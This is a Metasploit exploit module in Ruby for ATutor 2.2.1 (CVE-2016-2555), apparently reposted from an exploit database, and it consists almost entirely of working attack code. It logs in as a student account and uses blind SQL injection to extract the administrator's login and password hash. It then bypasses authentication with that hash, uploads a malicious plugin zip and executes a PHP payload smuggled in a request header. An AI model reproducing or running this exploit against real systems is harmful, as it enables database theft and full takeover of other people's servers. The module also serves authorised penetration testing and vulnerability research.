## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'ATutor 2.2.1 SQL Injection / Remote Code Execution', 'Description' => %q{ This module exploits a SQL Injection vulnerability and an authentication weakness vulnerability in ATutor. This essentially means an attacker can bypass authenication and reach the administrators interface where they can upload malcious code. You are required to login to the target to reach the SQL Injection, however this can be done as a student account and remote registration is enabled by default. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me ', # initial discovery, msf code ], 'References' => [ [ 'CVE', '2016-2555' ], [ 'URL', 'http://www.atutor.ca/' ] # Official Website ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Mar 1 2016', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']), OptString.new('USERNAME', [true, 'The username to authenticate as']), OptString.new('PASSWORD', [true, 'The password to authenticate with']) ],self.class) end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def check # the only way to test if the target is vuln begin test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false) rescue Msf::Exploit::Failed => e vprint_error(e.message) return Exploit::CheckCode::Unknown end if test_injection(test_cookie) return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def create_zip_file zip_file = Rex::Zip::Archive.new @header = Rex::Text.rand_text_alpha_upper(4) @payload_name = Rex::Text.rand_text_alpha_lower(4) @plugin_name = Rex::Text.rand_text_alpha_lower(3) path = "#{@plugin_name}/#{@payload_name}.php" register_file_for_cleanup("#{@payload_name}.php", "../../content/module/#{path}") zip_file.add_file(path, "") zip_file.pack end def exec_code send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"), 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" }) end def upload_shell(cookie) post_data = Rex::MIME::Message.new post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name="modulefile"; filename="#{@plugin_name}.zip"") post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name="install_upload"") data = post_data.to_s res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => cookie, 'agent' => 'Mozilla' }) if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection), 'cookie' => cookie, 'agent' => 'Mozilla', }) if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"), 'cookie' => cookie, 'agent' => 'Mozilla', }) return true end end # auth failed if we land here, bail fail_with(Failure::Unknown, "Unable to upload php code") return false end def get_hashed_password(token, password, bypass) if bypass return Rex::Text.sha1(password + token) else return Rex::Text.sha1(Rex::Text.sha1(password) + token) end end def login(username, password, bypass) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "login.php"), 'agent' => 'Mozilla', }) token = $1 if res.body =~ /) + "(.*)");/ cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/ if bypass password = get_hashed_password(token, password, true) else password = get_hashed_password(token, password, false) end res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "login.php"), 'vars_post' => { 'form_password_hidden' => password, 'form_login' => username, 'submit' => 'Login' }, 'cookie' => cookie, 'agent' => 'Mozilla' }) cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/ # this is what happens when no state is maintained by the http client if res && res.code == 302 if res.redirection.to_s.include?('bounce.php?course=0') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, res.redirection), 'cookie' => cookie, 'agent' => 'Mozilla' }) cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/ if res && res.code == 302 && res.redirection.to_s.include?('users/index.php') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, res.redirection), 'cookie' => cookie, 'agent' => 'Mozilla' }) cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/ return cookie end else res.redirection.to_s.include?('admin/index.php') # if we made it here, we are admin return cookie end end # auth failed if we land here, bail fail_with(Failure::NoAccess, "Authentication failed with username #{username}") return nil end def perform_request(sqli, cookie) # the search requires a minimum of 3 chars sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='" rand_key = Rex::Text.rand_text_alpha(1) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "connections.php"), 'vars_post' => { "search_friends_#{rand_key}" => sqli, 'rand_key' => rand_key, 'search' => 'Search People' }, 'cookie' => cookie, 'agent' => 'Mozilla' }) return res.body end def dump_the_hash(cookie) extracted_hash = "" sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)" login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i for i in 1..login_and_hash_length sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))" asciival = generate_sql_and_test(false, false, sqli, cookie) if asciival >= 0 extracted_hash << asciival.chr end end return extracted_hash.split(":") end def get_ascii_value(sql, cookie) lower = 0 upper = 126 while lower < upper mid = (lower + upper) / 2 sqli = "#{sql}>#{mid}" result = perform_request(sqli, cookie) if result =~ /There are d entries./ lower = mid + 1 else upper = mid end end if lower > 0 and lower < 126 value = lower else sqli = "#{sql}=#{lower}" result = perform_request(sqli, cookie) if result =~ /There are d entries./ value = lower end end return value end def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie) if do_test if do_true result = perform_request("1=1", cookie) if result =~ /There are d entries./ return true end else not do_true result = perform_request("1=2", cookie) if not result =~ /There are d entries./ return true end end elsif not do_test and sql return get_ascii_value(sql, cookie) end end def test_injection(cookie) if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie) if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie) return true end end return false end def report_cred(opts) service_data = { address: rhost, port: rport, service_name: ssl ? 'https' : 'http', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: fullname, post_reference_name: self.refname, private_data: opts[:password], origin_type: :service, private_type: :password, username: opts[:user] }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, last_attempted_at: Time.now }.merge(service_data) create_credential_login(login_data) end def exploit student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false) print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...") report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD']) print_status("Dumping username and password hash...") # we got admin hash now credz = dump_the_hash(student_cookie) print_good("Got the #{credz[0]} hash: #{credz[1]} !") if credz admin_cookie = login(credz[0], credz[1], true) print_status("Logged in as #{credz[0]}, uploading shell...") # install a plugin if upload_shell(admin_cookie) print_good("Shell upload successful!") # boom exec_code end end end end # Iranian Exploit DataBase = http://IeDb.Ir [2016-03-03]